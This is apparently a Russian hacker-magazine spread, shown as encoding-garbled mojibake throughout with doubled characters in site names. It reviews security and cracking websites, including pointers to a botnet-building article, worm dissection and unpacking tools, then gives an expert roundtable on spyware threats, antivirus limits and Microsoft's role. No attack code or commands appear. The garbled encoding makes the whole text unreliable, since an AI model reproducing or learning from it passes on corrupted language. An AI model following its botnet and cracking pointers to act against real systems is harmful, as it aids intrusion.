Çäåñü ìîæíî íå òîëüêî
ñïðîñèòü ñîâåòà, óçíàòü
ïîñëåäíèå íîâîñòè èëè ïî-
äåëèòüñÿ ñâîèìè çíàíèÿìè,
íî è íàéòè åäèíîìûøëåííè-
êîâ äëÿ ñîçäàíèÿ èíòåðåñ-
íûõ ïðîåêòîâ. Ïûòàòüñÿ
íàéòè òóò ÷òî-òî ìåòîäîì
òûêà, ïî-ìîåìó, âîîáùå
áåñïîëåçíî, òîëüêî ïðè ïî-
ìîùè ïîèñêà. Åùå çäåñü
åñòü àêòóàëüíàÿ âåòêà äëÿ
ïðîãðàììèñòîâ — ðàáîòà
(www.progz.ru/forum/index.php?sh
owforum=42), ïðè÷åì âåñüìà
ñîëèäíûå âàêàíñèè — ñ îê-
ëàäàìè äî 3000 è âûøå.

wwwwww..xxaakkeepp..rruu

Íîâîñòè, bugtrack è ñòàòüè —
è ýòî åùå äàëåêî íå âñå. 
Îñíîâíàÿ öåííîñòü ýòîãî ðå-
ñóðñà çàêëþ÷àåòñÿ â áîëü-
øîì àðõèâå ñòàðûõ íîìåðîâ
Õàêåð Ñïåö’à è Õàêåðà. 
À â íèõ óæå áûëè îïóáëèêî-
âàíû íåêîòîðûå ñòàòüè ïî òå-
ìå øïèîíîâ/âèðóñîâ/òðîÿ-
íîâ. Ê ïðèìåðó, â èþíüñêîì
íîìåðå çà 2005 ãîä åñòü
ñòàòüÿ (www.xakep.ru/magazine/
xa/078/076/1.asp) ïðî ñîçäàíèå
è ïîääåðæêó íàñòîÿùåãî áîò-
íåòà — ïðè ïîìîùè ïðèâàò-
íîé IRC-ñåòè íà áàçå ñîôòà

UnrealIRCD. Íèêòî íå ãîâî-
ðèò, ÷òî áîòíåò-ñåòü îáÿçà-
òåëüíî äîëæíà ñîâåðøàòü
ïðîòèâîïðàâíûå äåéñòâèÿ -
âñå ñóãóáî äëÿ ñàìîîáðàçî-
âàíèÿ :). À â ìàéñêîì íîìåðå
çà 2006 ãîä åñòü çàíÿòíàÿ
ñòàòüÿ (www.xakep.ru/magazine/
xa/089/060/1.asp) ñ íàãëÿäíûì
ïðèìåðîì áóêâàëüíîé òðåïà-
íàöèè ñåòåâîãî ÷åðâÿ
Win32.Mytob.D. Òàê ñêàçàòü,
íàø îòâåò âèðóñîïèñàòåëÿì —
íå áîÿòüñÿ è îòãîðàæèâàòüñÿ,
à áðàòü ãîëûìè ðóêàìè è èçó-
÷àòü :). Åñëè âçÿòü â ðóêè ïî-
èñêîâèê è ââåñòè íóæíûå
ñëîâà è ñëîâîñî÷åòàíèÿ, íàé-
äåøü ìàññó äðóãèõ ñòàòåé. 
È ÷òî ïðèÿòíî: î÷åíü ñòàðûå
íîìåðà äîñòóïíû â PDF-ôîð-
ìàòå (÷èòàé âìåñòå ñ îðèãè-
íàëüíûìè èëëþñòðàöèÿìè 
ê òåêñòó).

wwwwww..ccrraacckkllaabb..rruu

Êðýêåð â ïîíèìàíèè ìíîãèõ
íåêðýêåðîâ — íåõîðîøèé
÷åëîâåê, ðåäèñêà è âðàã âñå-
ãî ëèöåíçèîííîãî è êîììåð-
÷åñêîãî. Íà ñàìîì äåëå ýòî
âñåãî ëèøü èññëåäîâàòåëü
ïðîãðàìì, à óæ êàê îí èñ-
ïîëüçóåò ñâîè çíàíèÿ — íà
áëàãî èëè âî âðåä — ýòî óæå
äðóãîé âîïðîñ. Íî ñóòü íå â
ýòîì. Åñëè òû ñîáèðàåøüñÿ
èñêàòü øïèîíîâ/òðîÿíîâ/âè-
ðóñû è çàíèìàòüñÿ èõ òðåïà-
íàöèåé, ìíîãèå íàâûêè êðý-
êåðà áóäóò òåáå î÷åíü êñòà-
òè. Íåáîëüøàÿ êîëëåêöèÿ

ñòàòåé, íàïèñàííûõ êðýêåðà-
ìè, ïîìîæåò òåáå ðàçîá-
ðàòüñÿ â ïðîöåññå äèçàññå-
ìáëèðîâàíèÿ è èññëåäîâà-
íèÿ ëþáîãî êîäà. Òóò æå íà-
áîð íåîáõîäèìîãî: èíòåðàê-
òèâíûé äèçàññåìáëåð IDA
Pro, àâòîìàòè÷åñêèé ðàñïà-
êîâùèê ïðîãðàìì Quick
Unpack, àíàëèçàòîð èñïîë-
íÿåìûõ ôàéëîâ PEiD, õîðî-
øèé óïàêîâùèê WinUpack 
è ìíîãîå äðóãîå. Ïëþñ êó÷à
ëèòåðàòóðû â ýëåêòðîííîì
âèäå ïî àññåìáëåðó, Delphi,
C/C++ è PHP. À åñëè îñòà-
ëèñü âîïðîñû — äîáðî ïî-
æàëîâàòü íà ôîðóì.

wwwwww..hhiijjaacckktthhiiss..ddee

Íè äëÿ êîãî íå ñåêðåò, 
÷òî áðàóçåð îò MS — äûðÿ-
âûé âäîëü è ïîïåðåê, ÷òî
ïîçâîëÿåò öåïëÿòü ñåáå íà
êîìïüþòåð ÷åðåç èíòåðíåò
òàê íàçûâàåìûå hijack. Â ïå-
ðåâîäå íà äîñòóïíûé ÿçûê
ýòî âðåäîíîñíûå äîïîëíå-
íèÿ, çàìåíÿþùèå â áðàóçå-
ðå äîìàøíþþ ñòðàíèöó, 
îòêðûâàþùèå äîïîëíèòåëü-
íûå îêíà è ò.ï. 

HijackThis (http://download.
hijackthis.eu/hijackthis_199.zip) —
ñïåöèàëüíàÿ óòèëèòêà, êîòî-
ðóþ ñòîèò èìåòü ó ñåáÿ íà
êîìïå è ïåðèîäè÷åñêè çà-
ïóñêàòü. Îíà ïðîñìàòðèâàåò
ñèñòåìó è æåñòêèé äèñê íà
íàëè÷èå hijack, ÷èñòèò è ïè-
øåò ñïåöèàëüíûå ëîã-ôàéëû
î ñîñòîÿíèè äåë íà òâîåé ìà-
øèíå. Ïðîãðàììó íå íàäî èíñ-
òàëëèðîâàòü, à ëîã-ôàéëû
ìîæíî àíàëèçèðîâàòü îíëàéí,
â îáû÷íîì òåêñòîâîì ôîðìàòå.
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ÀËÅÊÑÅÉ
ËÓÊÀÖÊÈÉ
Áèçíåñ-êîíñóëüòàíò ïî
áåçîïàñíîñòè Cisco
Systems. Â Cisco îòâå÷àåò
çà ðàçâèòèå íàïðàâëåíèÿ
áåçîïàñíîñòè â Ðîññèè è
ñòðàíàõ ÑÍÃ.

Ø Ï È Î Í Û  —  Ð Å À Ë Ü Í À ß  Ó Ã Ð Î Ç À  

È Ë È  Ø Ó Ì È Õ À ,  Ê À Ê  È  Ï Ð Î Á Ë Å Ì À  Y 2 K ?

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Ïðîáëåìà äûðÿâîãî ÏÎ — âïîëíå îñÿçàåìà è ðåàëüíà,
îñîáåííî â îòíîøåíèè ïðîäóêòîâ Microsoft, â êîòîðûõ ðåãóëÿðíî âûÿâëÿþòñÿ
ñâåæèå áàãè. Ïîýòîìó ïðîíèêíóòü â ëþáîé êîìïüþòåð, ïîäêëþ÷åííûé ê Ñåòè,
ìîæåò äàæå íåêâàëèôèöèðîâàííûé ïðîãðàììèñò èëè â ïðîñòîðå÷èè «ïèî-
íåð». ×òî, ñîáñòâåííî ãîâîðÿ, ðåãóëÿðíî è ïðîèñõîäèò.

Â îñíîâíîì, êîíå÷íî, àòàêàì ïîäâåðãàþòñÿ web-ñåðâåðû è êîðïîðàòèâ-
íûå ñåòè, ñîäåðæàùèå çàêðûòóþ èíôîðìàöèþ. Äîìàøíèå ïîëüçîâàòåëè íà-
õîäÿòñÿ â ìåíüøåé îïàñíîñòè â ñèëó ñâîåãî áîëüøèíñòâà, õîòÿ ñòåïåíü çàùè-
ùåííîñòè èõ êîìïüþòåðîâ ãîðàçäî ñëàáåå. Ìîæíî ïðîâåñòè àíàëîãèþ ñ çàêàç-
íûìè óáèéñòâàìè áèçíåñìåíîâ è áàíäèòèçìîì, öàðÿùèì íà óëèöàõ. Ñðåäíå-
ñòàòèñòè÷åñêèé ïðîõîæèé àáñîëþòíî íå çàùèùåí, íî øàíñû áûòü óáèòûì ó
íåãî íàìíîãî íèæå, ÷åì ó ëþáîãî áèçíåñìåíà ñ öåëîé ñâèòîé îõðàíû. Åæåä-
íåâíî ñîâåðøàåòñÿ ìíîæåñòâî óáèéñòâ è âòîðæåíèé â êîìïüþòåðû (êàê äî-
ìàøíèå, òàê è êîðïîðàòèâíûå), íèêòî íå ìîæåò ÷óâñòâîâàòü ñåáÿ â àáñîëþò-
íîé áåçîïàñíîñòè. Íî âñåãäà ñëåäóåò ïîìíèòü, ÷òî ïàíè÷åñêàÿ èñòåðèÿ ïåðåä
íåèçâåñòíîé óãðîçîé íàìíîãî îïàñíåå ñàìîé ýòîé óãðîçû.
ÀÍÒÎÍ ÊÊÀÐÏÎÂ: Åñëè ãîâîðèòü î ïðîáëåìå ñ òî÷êè çðåíèÿ ìåíåäæåðà èëè
ìàðêåòîëîãà, òî ìîæíî íàéòè ñîòíè îò÷åòîâ èññëåäîâàòåëüñêèõ êîìïàíèé îS
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ÂËÀÄÈÌÈÐ
ÊÎÌÈÑÑÀÐÎÂ
Íà÷àëüíèê IT-îòäåëà
îäíîé èç êîìïàíèé.

ÀËÅÊÑÅÉ 
ÏÅÒÐÎÂ

Â IT 20 ëåò. Ýêñïåðò 
â îáëàñòè çàùèòû
äàííûõ, ýêñïåðò 
ïî êîìïüþòåðíûì
ïðåñòóïëåíèÿì, 
ýêñïåðò ïî ñåòåâûì
êîììóíèêàöèÿì 
è òåëåôîíèè.
Ñåðòèôèêàòû îò Novell/
3com/Bay/Siemens/Cisco/
ISACA. Êîíñóëüòàíò 
ïî âîïðîñàì 
ÈÒ-áåçîïàñíîñòè 
â Secproof Oy
(www.secproof.com).
Ñâîáîäíûé êîíñóëüòàíò
Arhont.com, iPRO.lv.

ÊÐÈÑ 
ÊÀÑÏÅÐÑÊÈ

Èçâåñòåí åùå êàê ìûùúõ.
Êîìïüþòåðû ãðûçåò åùå
ñ òåõ âðåìåí, êîãäà
Ïðàâåö-8Ä ñ÷èòàëñÿ
êðóòîé ìàøèíîé, 
à äèñêîâîä ñ ìîíèòîðîì
áûëè âåðõîì ìå÷òàíèé.
Îñâîèë êó÷ó ÿçûêîâ 
è îïåðàöèîííûõ ñèñòåì, 
èç êîòîðûõ ðåàëüíî
èñïîëüçóåò W2K, à ëþáèò
FreeBSD 4.5. Æèâåò 
â íîðå, îêðóæåííîé 
ïî ïåðèìåòðó
êîìïüþòåðàìè 
è ñòåëëàæàìè 
ñ ëèòåðàòóðîé.

ÀÍÒÎÍ 
ÊÀÐÏÎÂ

Ñïåöèàëèñò â îáëàñòè
èíôîðìàöèîííîé
áåçîïàñíîñòè. Â «Õ»
ïèøåò ñ ïåðåìåííîé
ïåðèîäè÷íîñòüþ âîò 
óæå íåñêîëüêî ëåò. 
Êðóã ïðîôåññèîíàëüíûõ
èíòåðåñîâ: ñåòåâûå àòàêè,
áåçîïàñíîñòü UNIX-
ñèñòåì, áåçîïàñíîñòü
áåñïðîâîäíûõ ñåòåé...
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òîì, êàê spyware ïðèíîñÿò åæåãîäíûå óáûòêè ðàçëè÷íûì êîìïàíèÿì. Îäíàêî ïîêà òû (òâîÿ êîìïàíèÿ)
ñàì íå ñòîëêíåøüñÿ ñ ýòîé ïðîáëåìîé, âñå ýòè îò÷åòû, âîçìîæíî, áóäåøü ñ÷èòàòü «ñôåðè÷åñêèì êîíåì â
âàêóóìå». Ýòî ìîæíî ïîíÿòü. 

Ïîýòîìó îòâå÷ó íà âîïðîñ ñ ÷èñòî òåõíè÷åñêîé òî÷êè çðåíèÿ. À ïðàâäà çäåñü ñîñòîèò â òîì, ÷òî ñî-
âðåìåííûå ïîëüçîâàòåëüñêèå ïðîãðàììû (íàïðèìåð, âåá-áðàóçåð), ÷åðåç êîòîðûå áîëüøèíñòâî øïèîí-
ñêîãî ÏÎ è ïðîíèêàåò íà êîìïüþòåðû ïîëüçîâàòåëåé, ñòàëè íåâåðîÿòíî ñëîæíû è ïîòîìó ïîäâåðæåíû
ðàçëè÷íûì óÿçâèìîñòÿì. Åñëè ïîñìîòðåòü íà èñòîðèþ óÿçâèìîñòåé âåá-ñåðâåðà (Apache) è âåá-áðàóçå-
ðà (IE) çà ýòîò ãîä, òî ó ïîñëåäíåãî îíà â ðàçû áîëüøå! Ýòî ãîâîðèò î òîì, ÷òî êëèåíò, ïîòðåáèòåëü òðàôè-
êà, ñåãîäíÿ ïîäâåðæåí ìíîæåñòâó ðèñêîâ, ýêñïëóàòàöèÿ êîòîðûõ, ïðè îòñóòñòâèè çàùèòû, ñòàíîâèòñÿ
òðèâèàëüíîé çàäà÷åé. È êàê óæå ìû âîñïîëüçóåìñÿ âîçìîæíîñòüþ «ïîèìåòü» êëèåíòà — çàøëåì åìó
øïèîíà èëè åùå êàê — óæå âòîðîé âîïðîñ.
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Íàäî ïîäðàçäåëÿòü ïîíÿòèå øïèîíñêèõ ìîòèâîâ, à òàê æå ïðîãðàìì.
Åñëè ìû ãîâîðèì î ôèçè÷åñêîì ëèöå è åãî ëè÷íîé èíôîðìàöèè — ýòî äåëî êàæäîãî. È, äóìàþ, ìàëî êòî
ñòðàäàåò ïàðàíîéåé íàñ÷åò ñîõðàííîñòè íåêèõ äàííûõ. È ñîâñåì äðóãîå äåëî — øïèîíñòâî â ìàñøòàáàõ
ïðåäïðèÿòèé, êîìïàíèé è êàêîãî-ëèáî áèçíåñà. Øóìèõîé ýòî ìîãóò íàçûâàòü òîëüêî äèëåòàíòû èëè ñàì-
îóâåðåííûå ëè÷íîñòè. Ëþáàÿ óãðîçà, äàæå ìíèìî-ïîòåíöèàëüíàÿ, äîëæíà ðàññìàòðèâàòüñÿ, êàê ðåàëü-
íàÿ è äîëæíû áûòü ïðèíÿòû âñå ìåðû ïî ïðåäîòâðàùåíèþ ëþáûõ âòîðæåíèé, êàê èçâíå, òàê è âíóòðè èí-
ôîðìàöèîííîé ñðåäû. Ýòîìó ìîìåíòó íåîáõîäèìî óäåëÿòü âíèìàíèå. Ëó÷øå áûòü ïîäãîòîâëåííûì, ÷åì
îáåñêóðàæåííûì.
ÀËÅÊÑÅÉ ÏÏÅÒÐÎÂ: Óãðîçà ðåàëüíà, íî íå ñìåðòåëüíà. Êàê è ñ Y2K, îáùåñòâî IT â öåëîì ïåðåæèâåò
ýòó ïðîáëåìó. Òàêæå êàê è ñ Y2K, ìíîãî äåíåã áóäåò íåðàçóìíî ïîòðà÷åíî íå íà òå ïðîáëåìû. Íàäî áîðî-
òüñÿ ñ ïðè÷èíàìè, à antivirusi/firewall'û — ýòî áîðüáà  ñ ïîñëåäñòâèÿìè. Â öåëîì, ïðîáëåìà «øïèîíñêîãî
ÏÎ» áóäåò ïîìàñøòàáíåå è áîëåå êîìïëåêñíîé, à ðèñêè — áîëåå ñåðüåçíûìè. Âñå-òàêè ïðîñòî áåçâîç-
âðàòíàÿ «ïîòåðÿ» äàííûõ (Y2K — îòêàç â îáñëóæèâàíèè) è ïîïàäàíèå â ÷óæèå ðóêè (øïèîíàæ) — âåùè
íåñîïîñòàâèìûå. Öåëåíàïðàâëåííûå øïèîíû ïðåäñòàâëÿþò áîëüøóþ óãðîçó äëÿ êîðïîðàòèâíûõ êëèåí-
òîâ è öåëåâûõ ãðóïï, íà êîòîðûå îíè îðèåíòèðîâàííû, — îíè îáõîäÿò ñðåäñòâà çàùèòû è êðàäóò êîíêðåò-
íóþ èíôîðìàöèþ. Èíäèâèäóàëüíî íàïèñàííûé øïèîí íå áóäåò ðàñïîçíàí ïî ñèãíàòóðå è, ñêîðåå âñåãî,
ïðè òàëàíòëèâîì ïîäõîäå, ñìîæåò îáîéòè è ñðåäñòâà çàùèòû proxy/firewall's.

Ïðîáëåìà áóäåò àêòóàëüíîé äî òåõ ïîð, ïîêà «äûðêè» â ñèñòåìå çàëàòûâàþòñÿ ìåäëåííî, à êîì-
ïëåêñíîñòü è ñëîæíîñòü ñèñòåìû ðàñòåò ñ êóäà áîëüøåé ñêîðîñòüþ. Áåç èçìåíåíèÿ ìåõàíèçìîâ çàùèòû
â ñàìîé OS, äàæå ïðè íàëè÷èè àêòèâíûõ «íàâåñíûõ» ñðåäñòâ çàùèòû, ñðàáàòûâàòü îíè áóäóò çíà÷èòåëü-
íî ÷àùå — è äàæå îïûòíûé ïîëüçîâàòåëü íå âñåãäà ïðàâèëüíî ñìîæåò ðàñïîçíàòü è îòâåòèòü, êàê ðåàãè-
ðîâàòü â êàæäîé ñèòóàöèè, êîãäà ñòîèò ðàçðåøèòü, à êîãäà çàïðåòèòü èñïîëíåíèå.

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Àíòèâèðóñ — âñåãî ëèøü îäíî èç çàùèòíûõ ñðåäñòâ (òî÷íåå, ïîäêëàññ çàùèòíûõ
ñðåäñòâ è äîâîëüíî îáøèðíûé: ñêàíåðû, ðåâèçîðû è ò. ä.), êîòîðûé íàöåëåí íà ðåøåíèå îïðåäåëåííîãî
êðóãà çàäà÷. Êñòàòè ãîâîðÿ, â ïîñëåäíåå âðåìÿ ñòàíîâÿùèõñÿ âñå ìåíåå àêòóàëüíûìè. Âèðóñû (òî åñòü
ïðîãðàììû, âíåäðÿþùèåñÿ â äðóãèå ïðîãðàììû) ïðàêòè÷åñêè ïîëíîñòüþ ïåðåâåëèñü, è ñåé÷àñ ïðèõîäèò-
ñÿ áîðîòüñÿ â îñíîâíîì ñ ÷åðâÿìè è óäàëåííûìè àòàêàìè. Àíòèâèðóñ ìîæåò îáíàðóæèòü èçâåñòíîãî åìó
÷åðâÿ è äàæå ìîæåò óáèòü åãî, íî ÷òî òîëêó? Âåäü äûðó, ÷åðåç êîòîðóþ ïðèõîäèò ÷åðâü, àíòèâèðóñ çàê-
ðûòü íå ìîæåò. Òóò íóæíà çàïëàòêà îò ïðîèçâîäèòåëÿ ÏÎ. Îòêóäà îíà ó àíòèâèðóñà? À ñ óäàëåííûìè àòà-
êàìè àíòèâèðóñ íå ìîæåò ñïðàâèòüñÿ â ïðèíöèïå, îñîáåííî åñëè shell-êîä ïèøåòñÿ ïîä êîíêðåòíóþ àòàêó
è ñóùåñòâóåò â åäèíñòâåííîì ýêçåìïëÿðå. Äëÿ îòðàæåíèÿ àòàê ïðèìåíÿþò ñèñòåìû îáíàðóæåíèÿ âòîð-
æåíèé, honeypot'û (îáðàçíî ãîâîðÿ, «êàïêàíû äëÿ õàêåðîâ»), è ìíîãî ÷åãî åùå. Êîíå÷íî, êîðîáêà ñ äè-
ñêîì, íà êîòîðîì íàïèñàíî «àíòèâèðóñ», ìîæåò ñîäåðæàòü â ñåáå âñå, ÷òî óãîäíî, íî ýòî óæå ñêîðåå âî-
ïðîñ òåðìèíîëîãèè, ÷åì, ñîáñòâåííî, ñàìîé çàùèòû.
ÀÍÒÎÍ ÊÊÀÐÏÎÂ: Åñëè êîðîòêî, òî äà, íóæíû. Íåçàùèùåííûé ïîëüçîâàòåëü âûõîäèò â èíòåðíåò, ñ óÿç-
âèìûì âåá-áðàóçåðîì è óÿçâèìûì ïî÷òîâûì êëèåíòîì è ñòàëêèâàåòñÿ ñ áîëüøèì êîëè÷åñòâîì óãðîç.
Ðåøèòü åãî ïðîáëåìû ïðèçâàíû òå ñàìûå «ãðàìîòíûå àíòèâèðóñû «all-in-one». Îäíàêî åñòü è äðóãèå ñïî-
ñîáû. Êàê âàðèàíò — èäåÿ î÷èñòêè «ãðÿçíîãî» èíòåðíåò-òðàôèêà. Ñîãëàñíî ýòîé èäåå, êîíòåíò ôèëüòðóåò-
ñÿ íà íàëè÷èå âèðóñîâ, òðîÿíîâ, øïèîíñêèõ ïðîãðàìì è äàæå ñïàìà åùå íà ñòîðîíå ïðîâàéäåðà, íà ñïå-
öèàëüíûõ øëþçàõ. È äî êëèåíòà äîõîäèò óæå «î÷èùåííûé» òðàôèê. Ïîäîáíàÿ óñëóãà òîëüêî èùåò ñâîå
ïðèìåíåíèå â Ðîññèè, îäíàêî â íåêîòîðûõ ñòðàíàõ ïðîâàéäåðû óæå ïðåäëàãàþò ïîäîáíûé «÷èñòûé èí-
òåðíåò», êîòîðûé ñòîèò, ðàçóìååòñÿ, äîðîæå. Òåõíè÷åñêîå èñïîëíåíèå òàêîãî ðåøåíèÿ, êîòîðîå áû îáëà-
äàëî ýôôåêòèâíîé ïðîïóñêíîé ñïîñîáíîñòüþ è â òî æå âðåìÿ óâåðåííî ôèëüòðîâàëî òðàôèê, âîçìîæíî,
è ïîäîáíûå ïðîäóêòû åñòü. Òàêîé ïîäõîä êàæåòñÿ áîëåå ðàçóìíûì è â ïåðñïåêòèâå — ïðàâèëüíûì.
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Ýòî äåëî ñîâåñòè è ïðîôåññèîíàëèçìà êàæäîãî, ñêàæåì òàê, îòâå÷àþ-
ùåãî çà «security», â øèðîêîì ñìûñëå ýòîãî ñëîâà. ×òîáû ðàññìîòðåòü íåîáõîäèìîñòü ÷åãî-ëèáî, íàäî
èìåòü ïðåäñòàâëåíèå î èíôîðìàöèîííîé ñðåäå, êîòîðóþ ñîáèðàåøüñÿ îõðàíÿòü. Â êàæäîì îòäåëüíîì
ñëó÷àå, êîíå÷íî æå, íóæíà äîïîëíèòåëüíàÿ çàùèòà, ïðè÷åì æåëàòåëüíî èíäèâèäóàëüíî ïðåäóñìî-
òðåííàÿ. Íå ãîâîðþ î òîì, ÷òî íóæíî ñàäèòüñÿ è ïèñàòü êàêîé-ëèáî ñîôò ñâîèìè ðóêàìè. Íàäî ïðîñòî
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ïðåäóñìîòðåòü âñå âîçìîæíûå êàê ðåàëüíûå, òàê è ôàíòàñòè÷åñêèå ïóòè ïðîíèêíîâåíèÿ â ñðåäó, è óæå
ýòî áóäåò íåìàëîâàæíûì ýòàïîì ïî çàùèòå. Ãëàâíîå — íå çàáûâàòü ñëåäèòü çà ñîîòâåòñòâóþùèìè
ðàññûëêàìè, óÿçâèìîñòÿìè è òàê äàëåå. À òî, êàê îáû÷íî áûâàåò, ïîñòàâÿò è çàáóäóò — âîò îñíîâíàÿ
ïðè÷èíà óÿçâèìîñòè.
ÀËÅÊÑÅÉ ËËÓÊÀÖÊÈÉ: Ìîé îïûò ïîêàçûâàåò, ÷òî áîëüøèíñòâî àíòèâèðóñîâ è äàæå ïåðñîíàëüíûõ ñè-
ñòåì ïðåäîòâðàùåíèÿ àòàê íå ñïîñîáíû ýôôåêòèâíî áîðîòüñÿ ñ spyware, à ïîñåìó íåîáõîäèìî èñïîëü-
çîâàíèå äðóãèõ çàùèòíûõ ìåð. Äàëåêî íå âñåãäà ýòî äîëæåí áûòü ïëàòíûé èëè âîîáùå êàêîé-òî ñïåöèà-
ëèçèðîâàííûé ïðîäóêò. Ìíîãèå ïðîáëåìû ðåøàþò áåñïëàòíûå óòèëèòû, êîèõ â èíòåðíåòå ìîæíî íàéòè â
èçáûòêå. Îäíîé èç òàêèõ óòèëèò ÿâëÿåòñÿ BHODemon, êîòîðàÿ îòñëåæèâàåò ïîÿâëåíèå spyware, èíñòàë-
ëèðóåìîãî ÷åðåç ìåõàíèçì Browser Helper Objects. Åùå îäíèì ýôôåêòèâíûì çàùèòíûì ìàíåâðîì ÿâëÿ-
åòñÿ ðåãóëÿðíîå îáíîâëåíèå ñâîåãî êîìïüþòåðà ïóòåì óñòàíîâêè ïàò÷åé, service pack'îâ è ò.ä. Ýòî ïîçâî-
ëèò ïðèêðûòü òå äûðû, êîòîðûå èñïîëüçóþòñÿ spyware äëÿ ïðîíèêíîâåíèÿ. Íî ãëàâíîå — áäèòåëüíîñòü è
çäðàâîìûñëèå. Íå íàäî ñòàâèòü «ëåâûé» ñîôò, ñêà÷àííûé ñ «ëåâûõ» ñàéòîâ. Íå íàäî íà êàæäîå îêîøêî,
âñïëûâàþùåå â áðàóçåðå, ñðàçó æàòü «Äà» èëè «Ñîãëàñåí». Ýòî ïîçâîëèò ñóùåñòâåííî ñíèçèòü ïðîáëå-
ìó çàðàæåíèÿ ñâîåãî êîìïüþòåðà ñ ïîìîùüþ spyware.
ÀËÅÊÑÅÉ ÏÏÅÒÐÎÂ: Spyware/mailware/virus — âñå ýòè «çëîâðåäû» äëÿ àíòèâèðóñà âûãëÿäÿò ïðèìåðíî
îäèíàêîâî. Îíè ìîãóò ðàñïîçíàâàòüñÿ ïî èõ óíèêàëüíûì «ñèãíàòóðàì» (òî åñòü ïî íåêîòîðîé óíèêàëüíîé
ïîñëåäîâàòåëüíîñòè áàéòîâ), ïî èõ çëîáíûì äåéñòâèÿì è ñëåäàì, îñòàâëÿåìûì â ñèñòåìå, ýâðèñòèêîé
(ýâðèñòè÷åñêèé àíàëèç), ýìóëÿöèåé èñïîëíåíèÿ êîäà èëè àêòèâíîãî ñëåæåíèÿ (tracing). Íî âîò ñïîñîáíî-
ñòåé ê «âðà÷åâàíèþ» ó íåêîòîðûõ àíòèâèðóñîâ íå õâàòàåò. Êîíå÷íî, îíè ìîãóò áûòü äîïîëíåíû, íî ÷àùå
âñåãî îíè ìíîãî ðàñïîçíàþò è êðè÷àò, íî íå î÷åíü ëå÷àò. Ðàçíèöà â ðàáîòå àíòèâèðóñîâ (anti-spyware/an-
ti-trojans) áàçèðóåòñÿ íà ñëåäóþùèõ ïðèíöèïàõ: îáúåì áàçû (êîëè÷åñòâî çàïèñåé) «çëîâðåäîâ», ñêîðîñòü
îáíîâëåíèÿ è ïîïîëíåíèÿ ýòîé áàçû, ñòàáèëüíîñòü ðàñïîçíàâàíèÿ, êëàññèôèêàöèÿ è ðåàêöèÿ. Òèïè÷íàÿ
ïðîáëåìà àíòèâèðóñîâ — â ðàñïîçíàâàíèè «ïîäîçðèòåëüíîãî» èëè íåñìåðòåëüíîãî çâåðÿ «mailware/ad-
ware». «Êðèêîâ» ñî ñòîðîíû àíòèâèðóñà ìîæåò áûòü ÷åðåñ÷óð ìíîãî, ÷òî ìåøàåò ðàáîòå ïîëüçîâàòåëÿ.

Êîìïëåêñ ñðåäñòâ âñåãäà áóäåò ýôôåêòèâíåå. ×åì áîëüøå ñòóïåíåé çàùèòû, òåì âûøå åå íàäåæ-
íîñòü è ìåíüøå ðèñêè. Íî è òóò âñå íå òàê ïðîñòî, âåäü ÷åì áîëüøå ñòóïåíåé — òåì ñëîæíåå è íåóäîáíåå
ïîëüçîâàòüñÿ. Ýòî êàê êà÷åëè. Íà îäíîé ñòîðîíå áåçîïàñíîñòü, íà äðóãîé — óäîáñòâî ïîëüçîâàòåëÿ, à ðå-
øåíèå — â áàëàíñå ìåæäó íèìè.

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: MS ñîçäàåò ðûíîê øïèîíñêîãî ÏÎ. Âî-ïåðâûõ, ïîòîìó, ÷òî ïèøåò íåáðåæíûé, äû-
ðÿâûé è èçëèøíå ñëîæíûé êîä, êîòîðûé âûáðàñûâàåò íà ðûíîê ïðåæäå, ÷åì óñïååò ïðîòåñòèðîâàòü. Âî-
âòîðûõ, îíà ïðîäâèãàåò èäåþ, ÷òî êîìïüþòåð — ýòî ÷òî-òî âðîäå òîñòåðà: âêëþ÷èë è ðàáîòàåøü. ×èòàòü
èíñòðóêöèþ è ñîïóòñòâóþùóþ ëèòåðàòóðó íåîáÿçàòåëüíî. Ýòèì îíà îáîëâàíèâàåò ðÿäîâûõ ïîëüçîâàòå-
ëåé è îòíèìàåò õëåá ó ïðîôåññèîíàëüíûõ àäìèíèñòðàòîðîâ, â ðåçóëüòàòå ÷åãî çàáîòó î ñåðâåðå ïîðó÷à-
þò ñëó÷àéíûì ëþäÿì. Ðûíîê çàùèòû MS, ïîõîæå, ñîâñåì íå èíòåðåñóåò. Äà, îíà èíòåãðèðîâàëà êàêóþ-òî
ïàðîäèþ íà áðàíäìàóýð â ïîñëåäíèå âåðñèè XP è ñîçäàëà íåñêîëüêî óòèëèò äëÿ ïîèìêè ìàëâàðè. Íî ÷òå-
íèå áëîãîâ èõ ðàçðàáîò÷èêîâ ñîçäàåò ñòîéêîå âïå÷àòëåíèå, ÷òî ýòè ëþäè óâèäåëè æèâóþ ìàëâðü óæå ïî-
ñëå íàïèñàíèÿ ñâîåãî ÷óäà òåõíèêè, êîòîðîå, ê òîìó æå, î÷åíü ëåãêî îáîéòè. È ìàëâàðü áóäåò åãî îáõî-
äèòü, êàê òîëüêî ïîëó÷èò ðàñïðîñòðàíåíèå. Íà äàííûé ìîìåíò äîñòîâåðíî èçâåñòíî ëèøü îäíî — ó MS
åñòü äåíüãè. Ìíîãî äåíåã. È åñëè îíà çàõî÷åò ïðèáðàòü ê ðóêàì ýòîò ñåãìåíò ðûíêà...
ÀÍÒÎÍ ÊÊÀÐÏÎÂ: Microsoft ñòîèò çàäóìàòüñÿ î òîì, ãäå íàõîäèòñÿ êîðåíü çëà ;). Âìåñòî òîãî, ÷òîáû âû-
ïóñêàòü çàùèòó îò ïðîáëåì, ïîÿâëÿþùèõñÿ âñëåäñòâèå, â òîì ÷èñëå è êà÷åñòâà ïðîãðàììíîãî êîäà óÿç-
âèìûõ ñèñòåì, èì ñëåäóåò ñëåäèòü çà ýòèì ñàìûì êà÷åñòâîì êîäà. 
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Íå äóìàþ. Â êîíêóðåíöèè ðîæäàåòñÿ èñòèíà, è áëàãîäàðÿ åé ïðîäîëæàåò-
ñÿ ðàçâèòèå. Åñëè êîíêóðåíöèè íå áóäåò, òî èñïîëüçóåìûé ñîôò áóäåò ñëàáîâàò è óÿçâèì. È ïîòîì, Micro-
soft'a íà âñåõ íå õâàòèò. È ýòî ðàäóåò.
